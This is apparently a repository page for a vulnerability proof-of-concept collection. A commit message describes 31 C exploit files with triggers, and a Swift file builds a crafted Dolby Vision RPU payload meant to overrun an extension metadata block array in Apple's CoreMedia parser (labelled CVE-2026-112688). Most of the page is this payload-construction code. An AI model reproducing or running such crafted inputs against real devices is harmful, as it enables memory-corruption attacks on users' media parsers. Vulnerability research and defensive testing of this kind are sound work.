JBJF
7949c7ce9f
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
95 lines
3.7 KiB
Swift
95 lines
3.7 KiB
Swift
// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
|
|
// Dolby Vision RPU extension metadata block array overrun
|
|
import Foundation
|
|
|
|
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
|
|
// ── seed construction (from Cinder27 Sources: RPUPayload) ──
|
|
enum RPUPayload {
|
|
struct BitWriter {
|
|
private(set) var out: [UInt8] = []
|
|
private var acc: UInt8 = 0
|
|
private var nbits = 0
|
|
|
|
mutating func put(_ value: UInt32, _ width: Int) {
|
|
guard width > 0 else { return }
|
|
for i in stride(from: width - 1, through: 0, by: -1) {
|
|
acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
|
|
nbits += 1
|
|
if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
|
|
}
|
|
}
|
|
|
|
mutating func putExpGolomb(_ value: UInt32) {
|
|
let v = value + 1
|
|
var bits = 0
|
|
while (v >> UInt32(bits)) > 1 { bits += 1 }
|
|
for _ in 0..<bits { put(0, 1) }
|
|
put(v, bits + 1)
|
|
}
|
|
|
|
mutating func flush() -> [UInt8] {
|
|
if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
|
|
return out
|
|
}
|
|
}
|
|
|
|
static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data {
|
|
var bw = BitWriter()
|
|
bw.put(0x19, 8) // magic, byte 0
|
|
bw.put(2, 6) // rpu_type = 2 (DOVI)
|
|
bw.put(0x12, 11) // rpu_format
|
|
bw.put(seed & 0x1F, 5)
|
|
bw.put(1, 4) // vdr_rpu_profile
|
|
bw.put(0, 4) // vdr_rpu_level
|
|
bw.put(0, 1) // vdr_seq_info_present_flag
|
|
bw.put(1, 1) // chroma_resampling_explicit_filter_flag
|
|
bw.put(2, 2) // coefficient_data_type
|
|
bw.put(1, 1) // el_spatial_resampling_filter_flag
|
|
bw.put(0, 1) // disable_residual_flag
|
|
bw.put(0, 4) // nln
|
|
bw.put(1, 2) // num_dm_data
|
|
// DM data head: class-2 ext block loop
|
|
bw.putExpGolomb(UInt32(blockCount))
|
|
for i in 0..<blockCount {
|
|
bw.putExpGolomb(0x40) // ext block length-ish
|
|
bw.put(blockID, 8) // block_id
|
|
// block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
|
|
bw.put(UInt32(0x100 + i), 12)
|
|
bw.put(UInt32(0x101 + i), 12)
|
|
bw.put(UInt32(0x102 + i), 12)
|
|
for _ in 0..<6 { bw.put(0x26, 8) }
|
|
bw.put(0x25, 8)
|
|
bw.put(0x59, 8)
|
|
bw.put(0x13, 8) // unlocks the u16 tail
|
|
bw.put(UInt32(0x0FFF & (i * 0x111)), 16)
|
|
bw.put(UInt32(0x0FFF & (i * 0x222)), 16)
|
|
bw.put(UInt32(0x0FFF & (i * 0x333)), 16)
|
|
}
|
|
return Data(bw.flush())
|
|
}
|
|
|
|
}
|
|
|
|
|